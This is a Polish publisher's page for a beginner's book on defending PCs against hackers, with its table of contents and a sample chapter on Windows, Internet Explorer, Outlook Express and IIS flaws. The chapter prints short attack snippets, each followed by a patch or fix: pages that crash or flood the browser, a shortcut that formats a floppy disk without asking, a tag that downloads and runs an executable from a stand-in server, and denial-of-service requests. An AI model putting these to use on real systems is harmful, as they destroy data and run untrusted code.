helion.pl

IDŹ DO

PRZYKŁADOWY ROZDZIAŁ

SPIS TREŚCI

KATALOG KSIĄŻEK

KATALOG ONLINE

ZAMÓW DRUKOWANY KATALOG

TWÓJ KOSZYK

DODAJ DO KOSZYKA

CENNIK I INFORMACJE

ZAMÓW INFORMACJE O NOWOŚCIACH

ZAMÓW CENNIK

CZYTELNIA

FRAGMENTY KSIĄŻEK ONLINE

ABC ochrony komputera przed atakami hakera



Autor: Jakub Mrugalski
ISBN: 83-7197-881-2
Format: B5, stron: 140
Zawiera dyskietkę

Większość osób podłączając komputer do Internetu nie uświadamia sobie wszystkich konsekwencji tego faktu. Zyskując dostęp do milionów stron WWW, na których znajdują się informacje na każdy temat, udostępniają hakerom możliwość dotarcia do informacji zapisanych na twardych dyskach swoich komputerów.

Nie warto zastanawiać się, dlaczego ktoś chciałby włamać się do naszego komputera i odczytać (lub co gorsza zniszczyć) nasze dane. Takie włamania nie są bynajmniej rzadkością i nie możemy mieć pewności, że akurat nam nie przydarzy się nic złego. Warto więc zapoznać się z książką „ABC obrony komputera przed atakami Hakera", która nawet początkującym dostarczy wielu cennych wskazówek, pozwalających korzystać z dobrodziejstw Internetu bez strachu przed intruzami.

Dowiesz się między innymi:

- Kim są hakerzy, jakie są ich motywy, cele i metody działania
- Jakiego oprogramowania używają hakerzy i w jaki sposób może być dla Ciebie szkodliwe, niebezpieczne
- Jak załatać najważniejsze dziury w zabezpieczeniach systemu Windows
- Jak, używając systemu Linux, zbudować tani i skuteczny firewall
- Z jakich metod szyfrowania możesz skorzystać w celu zabezpieczenia swoich danych
- Jakie zagrożenia niesie za sobą IRC
- Jak zabezpieczyć całą sieć komputerową

Wydawnictwo Helion
ul. Chopina 6
44-100 Gliwice
tel. (32)230-98-63
e-mail: helion@helion.pl

Spis treści

O Autorze **7**

Wstęp **9**

Rozdział 1. Hakerzy — przestępcy czy geniusze **11**
Jak uczy się haker 12
Kim jest haker 13
Imprezy hakerskie 14

Rozdział 2. Podstawowe zasady bezpieczeństwa **17**
Obrona przed wirusami 17
Jak się nie zarazić 17
Kopie bezpieczeństwa 18
Przywracanie danych z kopii bezpieczeństwa 20
Zaawansowane kopie bezpieczeństwa 21

Rozdział 3. Błędy systemu Windows **23**
Błędy w przeglądarce Internet Explorer 24
Luki w Outlook Express 26
Podatność systemu na ataki typu DoS 27
Pozostałe luki w systemie Windows 28

Rozdział 4. Edytor rejestru w systemie Windows 95/98 ..... **31**
Obsługa rejestru 32
Przywracanie kopii rejestru 33
Zaawansowana praca z rejestrem 33
Praca z plikami rejestru 34

Rozdział 5. Jeden Windows — wielu użytkowników **35**
Ograniczanie dostępu do dysku i plików 35
Notatnik zamiast dysku 35
Usuwanie śladów 36
Profile użytkowników 36
Jak uruchomić profile użytkowników 37
Podział dysku na partycje 37
Jak podzielić dysk na partycje 37

Rozdział 6. Zapomniane hasła **41**
Hasło BIOS-u 41
Hasło profili użytkownika 43
Windows 9x/ME 43
Windows 2000/NT/XP 44

Hasła do archiwów ARJ, ZIP i RAR ... 44
Hasło do skrzynki pocztowej ... 46
Hasła z cache'a ... 47
Hasło „za gwiazdkami" ... 47

Rozdział 7. Techniki hakerskie ... 49
Jak rozpoznać podejrzany proces ... 50
Inżynieria socjalna ... 52
Typowy atak ... 53
Po czym rozpoznać napastnika ... 53
E-maile — fake maile ... 53
Wysyłanie fake maili ... 53
Jak rozpracować list elektroniczny ... 54

Rozdział 8. Oprogramowanie hakerskie ... 57
Konie trojańskie ... 57
CAFEiNi ... 57
Danton ... 58
Hack'a'Tack ... 58
NETBUS ... 59
PROSIAK ... 59
RTB666 ... 60
Łamacze haseł ... 60
Cain i Abel ... 61
Łamacz ... 61
Skanery ... 61
Sniffery ... 62
Gdzie instalowane są sniffery ... 63
Wirusy ... 63
Ogólnie o wirusach — fakty i mity ... 64

Rozdział 9. Systemy Linux i Unix ... 67
Dla kogo okna? Dla kogo pingwin? ... 68
Bezpieczeństwo ... 68
Stabilność ... 69
Dostępność oprogramowania ... 69
Łatwość obsługi ... 69
Zastosowanie systemów ... 69
Obsługa Linuksa i Uniksa ... 70
Polecenia Linuksa ... 70
Ważne foldery ... 71
Zabezpieczenia ... 72

Rozdział 10. Zabezpieczenia serwerów i stron WWW ... 79
Zabezpieczenia dostępu do strony ... 79
Prosty system logowania ... 79
Bezpieczny system logowania ... 80
Bardzo bezpieczny system logowania ... 81
Zabezpieczenia serwera WWW ... 82
Gdy udostępniamy serwer innym ... 83

Rozdział 11. Podstawy szyfrowania danych ... 85
Algorytmy szyfrowania obustronnego ... 86
Algorytm Cezara ... 86
Algorytm ROT-13 ... 86

Algorytm QWERTY_X....86
Algorytm ASCII....86
Deszyfrowanie podanych algorytmów....87
Algorytm Cezara i ROT-13....87
Algorytm QWERTY_X....87
Algorytm ASCII....87
Przykłady szyfrów jednostronnych....87
Najprostszy algorytm....88
Algorytm średnio zaawansowany....88
Algorytm zaawansowany....88
Skuteczne zamazywanie śladów....89
Zamazywanie plików....89
Zamazywanie śladów w programach....90
Ukrywanie pliku w pliku....91
Jak sprawdzić, czy plik graficzny zawiera dodatkowe wstawki....92

Rozdział 12. Niebezpieczne rozmowy — IRC....93
Metody ataku przez IRC....93
Ataki typu DoS....93
Przejęcie kanału — boty....94
Jak napisać swój bot i postawić go na kanale....95
Jak sterować botem....96
Flood....96
Inne znane sposoby ataku przez IRC....97

Rozdział 13. Zabezpieczenia sieci LAN....99
Narzędzia zdalnej administracji — pożyteczne zastosowania....99
Jak wykryć konia trojańskiego....100
Jak usuwać konie trojańskie....102
Stacje robocze....102
Omijanie zabezpieczeń....102
Niebezpieczne aplikacje....104
Konfiguracja stanowisk indywidualnych....104
Ogólne zabezpieczenia sieciowe....105
Precz ze standardami!....105
Bezpieczne hasła....106
Kilka porad dla administratorów....107

Rozdział 14. Prywatność w Internecie....109
Serwer proxy....109
Inne sposoby zachowania prywatności — anonymizer....111
Ukrywanie danych — e-mail....111

Rozdział 15. Oszustwa w Internecie....115
Piramidy internetowe....117
Ogólne zasady bezpieczeństwa internetowego....118
Co zrobić, gdy zostanę oszukany....119

Rozdział 16. Programy wsadowe....121
Podstawy programowania....121
Wirusy plików wsadowych....126
Zmiana konfiguracji komputera....127
Zbieranie informacji o komputerze....128
Rozmnażanie się (powielanie)....129
Kasowanie plików....130

Formatowanie dysków ... 131
Inne funkcje destrukcyjne ... 131

Rozdział 17. Bomby logiczne ... 133
Co to jest bomba logiczna ... 133
Do czego używa się bomb logicznych? ... 133
Co to są bomby wielowątkowe ... 134
Dostęp chwilowy ... 135
Jak walczyć z bombami logicznymi ... 136
Jak wyleczyć plik zarażony bombą logiczną ... 136
Jak można się zarazić ... 137
Fakty i mity o bombach logicznych ... 137

Zakończenie ... 139

Skorowidz ... 141

Rozdział 3.

Błędy systemu Windows

System Windows powstał na początku 1987 roku. Został stworzony przez pracowników firmy Microsoft. Jego początkowe wersje — czyli 1.0, 2.0 i 3.x — były zwykłymi nakładkami na system operacyjny MS DOS. Późniejsze wersje Windows — 95, 98, ME, NT, 2000 i XP — są rozpowszechniane jako samodzielne systemy operacyjne.

Większość z czytelników używa systemu Windows do codziennej pracy i zabawy. Wielu także ma dostęp do Internetu — nieprzebranej skarbnicy wiedzy. Niewielu jednak zdaje sobie sprawę z tego, że podczas oglądania niewinnie wyglądającego serwisu internetowego po dysku naszego komputera mogą buszować ludzie, którymi kieruje chęć niszczenia danych. Są to krakerzy.

Należy jednak pamiętać, że niebezpieczeństwo czyha nie tylko w Internecie. Istnieje również prawdopodobieństwo, że nasze cenne dane zostaną wykradzione przez osoby, z którymi mieszkamy, pracujemy, uczymy się.

Wiele osób, aby zabezpieczyć swój dorobek zapisany w pamięci komputera, ustawia różnorodne opcje w ustawieniach systemowych, instaluje łaty i uaktualnia system. To wszystko jednak na nic! Choćbyśmy zainstalowali najnowszy system *Windows*, to i tak nasz komputer będzie dziurawy jak szwajcarski ser. Będzie on stał otworem przed milionami hakerów i krakerów.

W tym rozdziale chciałbym omówić kilka ważniejszych dziur, jakie odkryto w systemie Windows i jego standardowych komponentach. Oto ich spis:

- błędy w przeglądarce Internet Explorer,
- luki w Outlook Express,
- podatność systemu na ataki typu **DoS**.

Błędy w przeglądarce Internet Explorer

Internet Explorer to przeglądarka instalowana standardowo z systemem operacyjnym Windows. Posiada ona wiele większych i mniejszych luk, przez które doświadczony użytkownik może wejść do systemu i uszkodzić go, a nawet całkowicie zniszczyć.

Aby nie być gołosłownym, podaję kod prostej strony w języku HTML, która powoduje zawieszenie komputera:

```
<meta http-equiv="Refresh" content="0; URL=file:Mrugalski">
<meta http-equiv="Refresh" content="0; URL=file:Jakub">
```

Jak zapewne zauważyłeś, wywołanie podanego kodu spowodowało wyświetlenie znanego wszystkim użytkownikom Windowsa niebieskiego ekranu. Oczywiście praca w systemie po wystąpieniu takiego błędu jest niemożliwa i konieczny jest restart komputera.

Zaprezentowaną lukę można zaliczyć pod atak typu **DoS** (ang. *Danial of Service*), czyli odmówienie usług. Taki atak nie jest groźny na pojedynczym komputerze, ale wyobraźmy sobie, że powyższy kod został wykonany na serwerze z systemem Windows NT. Jeśli serwer udostępnia połączenie internetowe dla sieci lokalnej np. w małej firmie, to skutki takiego błędu mogą być naprawdę poważne.

Niebezpieczeństwo ataków odmowy usług tkwi nie tylko w tagach języka HTML wykonywanych cyklicznie lub postrzeganych za niebezpieczne. Zagrożeniem może być nawet zwykły kod obrazka na stronie WWW. Oto przykład:

```
<img src="http://localhost:153" alt="" height=1 width=1 align=left>
```

Taki kod powoduje wyświetlenie pola na załadowanie obrazka. Proszę jednak zwrócić uwagę na ścieżkę do pliku źródłowego. Odwołuje się ona do komputera, z którego aktualnie korzystamy (localhost). To nie wszystko! Kod ten próbuje dostać się do portu komunikacyjnego numer 153, czego skutkiem jest odmowa działania systemu podobnie jak po użyciu programu *WinNuke* opisywanego w dalszej części programu.



Jak się zabezpieczyć?

Microsoft wydał odpowiednią łatę likwidującą ten problem. Jest ona dostępna na stronie *support.microsoft.com/support*.

Wszyscy wiemy, że Internet Explorer jest aplikacją, która pożera ogromne ilości pamięci. Po otworzeniu kilku okien tego programu wydajność systemu znacząco spada. Hakerzy wykorzystali tę lukę i napisali kod, który otwiera nowe okna Internet Explorera aż do wyczerpania zasobów systemowych. Oto kod tej aplikacji:

```
<html>
<script>
function go(){
window.open();
setTimeout("go()",10);
}
```

```
go();
</script>
</html>
```

Kod ten zawiera wstawkę języka JavaScript, która po wykonaniu na moim komputerze z procesorem Celeron 556 MHz i 128 MB RAM zablokowała system w ciągu około 20 sekund. Myślicie, że to dużo czasu? Podczas działania skryptu próbowałem zamykać pojawiające się okna, ale zanim zdążyłem zamknąć jedno okno, pojawiło się już pięć nowych. Przypominało to raczej walkę z wiatrakami, a nie zabezpieczenie systemu.

Microsoft jak dotychczas nie zareagował na ten poważny błąd, ale ja znalazłem rozwiązanie. Istnieją specjalne programy blokujące pojawianie się okien typu pop-up. Do programów takich zalicza się między innymi polski *Fryderyk*, który jest potężnym pakietem pilnującym naszego bezpieczeństwa w Internecie. Co najważniejsze, program jest darmowy, a jego płatna rejestracja jest dobrowolna. Fryderyk ma jedną wadę: rozmiar. Pakiet Fryderyka zajmuje około 5 MB. Jeśli wolimy coś mniejszego, to możemy zajrzeć na stronę *http://www.panicware.com/product_dpps.html*. Jest na niej dostępny miniaturowy program (około 62 kB), który zamyka wszystkie pojawiające się okienka. Oba programy mają jednak poważną wadę. Są one zbytnio wyczulone na okna i jeśli jakaś strona porozumiewa się z użytkownikiem przy użyciu np. trzech okien wyskakujących, w których są przykładowo menu nawigacyjne, to programy te wszczynają alarm, że ktoś próbuje się dostać do naszego komputera. Nie przesadzajmy więc z nadużywaniem tego typu programów, bo podróż po Internecie będzie dla nas koszmarem, a nie relaksem.

Kolejnym błędem w produktach Microsoftu jest interpretacja plików URL z poleceniami systemu MS DOS. Polega to na umieszczeniu na stronie odpowiedniego łącza prowadzącego do pliku URL zbudowanego w następujący sposób:

```
[InternetShortcut]
URL=file://format a: /q /autotest
```

Skrót ten spowoduje sformatowanie **bez pytania użytkownika o pozwolenie** dyskietki w stacji dysków A:. Błąd ten występuje tylko w przeglądarce w wersji 3.2. Ta wersja Internet Explorera jest jeszcze często używana ze względu na fakt, że Microsoft dołączył ją standardowo do systemu Windows 95.



Użytkownicy nowszych wersji Internet Explorera nie są narażeni na ten atak.

Kolejnym błędem występującym w przeglądarce Microsoftu jest możliwość uruchomienia dowolnego pliku wykonywalnego typu *EXE* umieszczonego w sieci lub na dysku użytkownika. Błąd ten stanowi bardzo poważne naruszenie zabezpieczeń systemu i może być wykorzystany np. do zarażenia komputera przez wirusy.

Oto przykład zastosowania kodu wywołującego ten błąd:

```
<object width=0 height=0 CODEBASE="http://www.cos.pl/plik.exe"
classid="CLSID:11111111-1111-1111-1111-111111111111" width=1 height=1></object>
```

Kod zawarty w tym przykładzie spowoduje wykonanie programu *plik.exe* umieszczonego na fikcyjnym serwerze *www.cos.pl*.

Prezentowane do tej pory zabezpieczenia mają charakter ataku zdalnego, czyli wykonywanego przez hackera z zewnątrz. Ale przeglądarka posiada także znaczną lukę pozwalającą ominąć zabezpieczenia samego Windowsa!

Załóżmy, że prowadzimy kawiarenkę internetową. Nasze komputery są zabezpieczone programem *Poledit* (standardowe zabezpieczenie proponowane przez Microsoft). Przy użyciu tego programu zablokowaliśmy użytkownikowi dostęp do edytora rejestru, dysku twardego, panelu sterowania i innych strategicznych miejsc systemu. Jak przystało na kawiarenkę, użytkownik ma dostęp do przeglądarki internetowej. Niech to będzie Internet Explorer 5.5.

Powyższe zabezpieczenia zakładalibyśmy przez kilka godzin, a doświadczony użytkownik mógłby je obejść przy użyciu jednego skrótu, utworzonego na pulpicie. Skrót ten prowadziłby do polecenia `file://` interpretowanego przez Internet Explorera. Kliknięcie na taki skrót dałoby nam dostęp do całego dysku twardego, do zawartych na nim danych, aplikacji ustawień, pozwoliłoby nawet na zniszczenie całego systemu.

Przykład ten obrazuje, jak groźną bronią jest Internet Explorer w rękach człowieka, który umie i chce wykorzystać wszystkie jego możliwości. To oczywiście tylko niewielka część błędów, jakie odkryto w tej przeglądarce. Jest ich tak naprawdę tysiące. O niektórych wiemy i się przed nimi bronimy, a niektóre pozostają w ukryciu i sami nieświadomie padamy ich ofiarą.

Luki w Outlook Express

Pamiętamy doskonale, jak wielkie spustoszenie spowodowały wirusy takie, jak „I Love You" czy „Romeo i Julia" rozsyłające swoje kopie do wszystkich osób, których adresy zapisane były w naszej książce adresowej. Były to wirusy korzystające z luk odkrytych w programie pocztowym dołączonym do systemu Windows — mowa oczywiście o Outlook Expressie.

Programy te napisane były w języku skryptowym SHS, który jest interpretowany na bieżąco przez system. Poza tym Windows ma w swoim kodzie standardowo ustawione ukrywanie rozszerzenia plików *SHS*, przez co kliknięcie pliku o nazwie *OBRAZ.JPG.SHS* spowoduje uruchomienie skryptu napisanego w tym właśnie języku.

Głównym błędem otwierającym hakerom drzwi do naszego komputera jest tzw. *okienko podglądu*, które pokazuje użytkownikowi zawartość poczty elektronicznej bez jej otwierania. Najprostszym sposobem zabezpieczenia się przed tym błędem jest odznaczenie opcji *Pokaż okienko podglądu* w menu *Widok/Układ...* . Operacja ta da nam jednak tylko kilka procent pewności. Aby być prawie pewnym swojego bezpieczeństwa, powinniśmy zainstalować program *Norton Antyvirus* lub inny program antywirusowy oferujący opcję filtrowania poczty.

Kolejnym błędnym posunięciem ze strony Microsoftu było wbudowanie w swój produkt interpretatora kodu JavaScript. Złośliwy haker może edytować źródło wysyłanej do nas wiadomości i dopisać do niej dowolny kod wykonujący się w nieskończoność. Przykładem takiego kodu może być np.:

```
<SCRIPT>
WHILE (TRUE) {alert('Kolejna luka!')}
</SCRIPT>
```

Kod ten spowoduje nieustanne pojawianie się okienka informacyjnego z podanym tekstem. Błąd ten nie zagraża bezpieczeństwu systemowemu, ale zmusza użytkownika do zamknięcia programu pocztowego przy użyciu kombinacji klawiszy *Ctrl+Alt+Del*.

Mimo że zaprezentowany kod nie naruszał bezpieczeństwa i stabilności systemu, to jednak w jego miejsce kraker mógł podstawić dowolny kod obciążający system i prowadzący w konsekwencji do wywołania ataku typu DoS.

Podatność systemu na ataki typu DoS

Najpopularniejszym sposobem przeprowadzania ataku zdalnego DoS jest wysyłanie pakietów ICMP. Są to tzw. pakiety PING. Zasadę działania takiego pakietu można opisać w następujący sposób: mamy dwa komputery A i B. Komputer A udostępnia połączenie komputerowi B i dzięki temu komputer B ma połączenie ze światem. Użytkownik komputera B chce połączyć się z Internetem, więc system najpierw wysyła pakiet PING do komputera A z pytaniem: **Czy jesteś aktywny?** Jeśli komputer A odpowie twierdząco, to połączenie zostanie nawiązane, jeśli zaś nie odpowie, to komputer B zrezygnuje z połączenia.

Teraz można sobie wyobrazić tę samą sytuację, ale z udziałem hakera. Znów mamy dwa komputery i identyczną zależność między nimi, z tą tylko różnicą, że haker jest połączony z komputerem A i zamierza odciąć dostęp do Internetu komputerowi B. W tym celu wysyła przy użyciu specjalnego programu serię zapytań ICMP do serwera A, przez co komputer A jest przez jakiś czas jest zajęty odpowiedziami na zadane zapytania. Teraz komputer B chciałby nawiązać połączenie z Internetem. Wysyła więc swoje zapytanie do serwera, ale nie otrzymuje od niego żadnej odpowiedzi, bo serwer jest zajęty odpowiadaniem na setki zapytań hakera.

Tak właśnie w bardzo uproszczony sposób można opisać atak odmówienia usług zwany atakiem DoS. Dlaczego wspominam o tym właśnie teraz? Otóż system Windows zalicza się do grupy systemów najbardziej podatnych na tego typu podstępne działania hakerów.



Na serwerze Microsoftu dostępne są łaty unieszkodliwiające ten problem dla systemów NT, ale użytkownicy indywidualni z Windows 9x/Me nadal są na niego narażeni.

Kolejnym znanym defektem systemów Windows jest podatność na działanie programów typu *WinNuke*. Programy te wysyłają specjalnie spreparowany tekst na otwarte porty w naszym komputerze. Użycie takiego programu w systemie Windows powoduje najczęściej wyświetlenie niebieskiego ekranu z komunikatem o błędzie krytycznym, zawieszenie wszystkich procesów systemowych lub obciążenie systemu w takim stopniu, że praca staje się niemożliwa.

Portami podatnymi na działania WinNuka i programów od niego pochodnych są porty nr:

- 137 (Windows 95),
- 139 (Windows 98),
- 127 (Windows NT),
- 1030 (Windows NT, 2000 i XP).

Problem tzw. *nukerów* dręczy użytkowników Windows już od lat, a Microsoft zdołał przez ten czas napisać jeden *ServicePak* (20 MB) usuwający ten problem. Istnieje jednak sposób zabezpieczenia się przed tego typu oprogramowaniem. Sposób ten nie jest udokumentowany przez Microsoft. Jest to rozwiązanie opracowane przez jednego z użytkowników Windows. Oto co należy zrobić:

1. Uruchom edytor rejestru przez *Start/Uruchom...* i wpisz tam `regedit`.
2. Wejdź do klucza: *Hkey_Local_Machine/System/CurrentControlSet/Services/VxD/MSTCP*.
3. Wybierz *Edycja/Nowy...*, następnie *Wartość ciągu* i wpisz `BSDUrgent` (uważaj na wielkość liter!).
4. Nadaj nowo utworzonej zmiennej wartość `1` (cyfra jeden).
5. Zamknij edytor rejestru i uruchom system ponownie.

Po wykonaniu opisanych tu kroków komputer będzie odporny na ataki przy użyciu nukerów.

Pozostałe luki w systemie Windows

Błędy Windows nie ograniczają się tylko do tych omawianych wyżej. System zawiera wiele wewnętrznych błędów mogących skutecznie zagrozić naszemu komputerowi, jak i całej sieci lokalnej.

Najpopularniejszym sposobem zabezpieczania danych jest kodowanie ich przy użyciu różnego rodzaju programów szyfrujących lub przy użyciu standardowych zabezpieczeń systemowych. Niezależnie od tego, której metody używamy, wszystkie wpisywane hasła przechowywane są w tzw. *buforze haseł*. Bufor ten służy do zapisywania haseł w celu ich późniejszego wykorzystania. Zastanawiacie się pewnie, jak można to wykorzystać? Otóż istnieje wiele programów dostępnych w Internecie służących do wyciągania haseł z pamięci Windowsa. Dlatego hasła powinny być zapamiętywane przez użytkowników, a nie zapisywane w pamięci komputera.

Windows tak naprawdę zapisuje hasła gdzie popadnie. Są one wszędzie! W rejestrze, plikach *INI*, plikach konfiguracyjnych itd. W obecnych czasach nie trzeba mieć praktycznie żadnej wiedzy z dziedziny programowania, zabezpieczeń i systemów operacyjnych, aby wydobyć z tych plików potrzebne nam dane. Wszystkie potrzebne do tego celu programy są już napisane i tylko czekają na to, aż jakiś internetowy włamywacz je wykorzysta.



Obecnie nie ma sposobu na zabezpieczenie się przed tym błędem. Jedyna rada jest taka, aby nie zapisywać haseł w pamięci programów, lecz podawać je na bieżąco.

W przypadku systemu NT sprawa wygląda odrobinkę lepiej. System ma szyfrowaną partycję NTFS oraz kontrolowany dostęp do plików i katalogów. Ale hakerzy i na to znaleźli sposób! Załóżmy, że w naszym systemie jest dwóch użytkowników. Ja jestem administratorem, a drugi użytkownik to haker. Zakładam plik *NAZWA PLIKU.EXE*. Jest to jakiś program użytkowy. Nadaję temu pliku takie prawa, że użytkownik haker nie może go uruchamiać, otwierać, a nawet kopiować. Co w takim razie może zrobić haker? Wchodzi on do trybu MS DOS (plik *CMD.EXE*) i zamiast pełniej nazwy pliku wpisuje jego ośmioliterowy odpowiednik, czyli *NAZWAP~1.EXE*. Od tej chwili haker może zrobić z plikiem wszystko, jeśli będzie się do niego odwoływał przez jego DOS-owy odpowiednik.



Aby zabezpieczyć swój system przed tym błędem, należy ściągnąć łatę z podanej strony: *ftp://ftp.microsoft.com/bussys/ISS/iss-public/fixes/usa/security/sfn-fix/*.

Grupa hakerska o nazwie *L0pth* odkryła poważny błąd w interpretacji adresu URL prowadzącego do skryptu ASP. Luka ta pozwala zobaczyć kod źródłowy dowolnej aplikacji internetowej napisanej w ASP i uruchomionej w środowisku Windows NT od 4.0 wzwyż. Problem ten dotyczy pakietu ISS (ang. *Internet Information Server*) we wszystkich wersjach nowszych niż 2.0.

Dokładniej mówiąc, skrypty ASP są często wykorzystywane do autoryzacji użytkowników, do transakcji przeprowadzanych przez Internet i do ograniczania dostępu niepowołanym użytkownikom. W kodzie źródłowym tych skryptów często znajdują się hasła i loginy użytkowników, ścieżki dostępu do kluczowych plików systemowych i wiele innych. Gdyby kod takiej aplikacji wpadł w ręce krakera, mogło by to mieć katastrofalne skutki dla naszej sieci i jej użytkowników.

Załóżmy, że mamy serwer z systemem Windows NT 4.0. Udostępniamy na nim konta użytkownikom. Aby użytkownik mógł wejść na swoje konto, musi wpisać w przeglądarce adres: `www.serwer.com/login.asp`. Spowoduje to wykonanie skryptu *LOGIN.ASP* i wyświetlenie wyników jego działania w naszej przeglądarce. Jeśli zaś kraker zastąpiłby ostatnią kropkę w nazwie pliku (tę przed rozszerzeniem) przez jej szesnastkowy odpowiednik, to serwer *ISS* nie rozpozna, że podany URL odwołuje się do skryptu, lecz wykona go jako odwołanie do pliku *TXT*. W rezultacie w oknie przeglądarki zobaczymy kod źródłowy skryptu logowania, a w nim wszystkie tajne informacje.

Ze względu na to, że błąd ten jest bardzo niebezpieczny i wciąż aktualny, nie podam sposobu jego wykorzystania. Książka ta ma służyć jako źródło informacji dla administratorów, a nie poradnik dla hakerów.



Jak się zabezpieczyć:

Można uaktualnić wersję pakietu **ISS** lub ściągnąć łatę ze strony: *ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-posts2/iss-fix/*.

Ta dziura to jednak nie koniec grzechów, jakie Microsoft popełnił, pisząc pakiet ISS. Kolejnym błędem w tej usłudze jest zła implementacja polecenia GET. Kraker chcący unieruchomić serwer łączy się z nim poprzez telnet przez **port 80**. Gdy połączenie zostanie nawiązane, wydaje on polecenie *GET ../...*, co powoduje atak typu DoS, a w konsekwencji wymusza restart komputera.



W chwili pisania tej książki Microsoft nie wydał odpowiedniego pakietu korygującego, ale zawsze można przeszukać serwer *ftp.microsoft.com* w poszukiwaniu łat naprawiających ten błąd.

Jak już wspomniałem w poprzednim akapicie, serwer *ISS* jest „bogaty" w błędy. Jedne są bardziej niebezpieczne, inne mniej. Jednym z najpopularniejszych i najczęściej wykorzystywanych błędów jest tzw. *przepełnienie bufora URL*, które powoduje zawieszenie całego systemu i zerwanie wszystkich połączeń z serwerem.

Bug (z ang. błąd) ten polega na wysłaniu do serwera polecenia wywołania nieistniejącej strony WWW, z tym zastrzeżeniem, że wywołujący adres URL musi mieć około 10 000 znaków. Oto przykład: *http://www.serwer.com/xxxxxxxxxxxxxxxx...*

Na końcu tego adresu wpisałem wielokropek, ale należy pamiętać, że powinno się tam znaleźć około 10 000 znaków x (to, co jest tam wpisane, tak naprawdę nie gra roli).

To jeszcze nie wszystko. Nie chciałbym jednak zanudzać czytelników opisem wszystkich błędów w ISS. Jeśli chcielibyście dowiedzieć się więcej na temat dziur w ISS, to polecam ściągnąć kod źródłowy robaka internetowego o nazwie *code.red.worm*. Jego kod dostępny jest na większości stron poświęconych hakerstwu i zabezpieczeniom sieci.

Czy myślałeś kiedykolwiek, że plik *DOC* może być wirusem? Nie? To teraz zmienisz zdanie! Spróbuj przeprowadzić takie doświadczenie:

1. Weź dowolny plik *EXE* i zmień jego rozszerzenie na *DOC*.
2. Wejdź do konsoli DOS-a (*CMD.EXE*) i wpisz nazwę tego pliku, np. *TEST.DOC*.

Jeśli po wykonaniu tego testu została wyświetlona informacja o błędzie, to znaczy, że Twój serwer jest bezpieczny, ale jeśli zamiast komunikatu z błędem pojawiło się okno jakiejś aplikacji, to lepiej uważaj! Ta luka może być wykorzystana na Twoim serwerze! Pamiętaj o tym, jeśli Twój program antywirusowy skanuje tylko pliki wykonywalne.



Jeśli jesteś szczególnie zainteresowany błędami w usługach ISS, ASP itd., to powinieneś koniecznie zajrzeć na jedną z tych stron: ***www.rootshell.com***, ***www.underground.org.pl***, ***www.hacking.pl***, ***www.ntbugtraq.com***.

Czy po przeczytaniu tego rozdziału nadal myślisz, że Twój Windows jest bezpieczny? Może kiedyś w przyszłości i Ty padniesz ofiarą któregoś z tych błędów. A może już jesteś ofiarą i nawet nie zdajesz sobie z tego sprawy?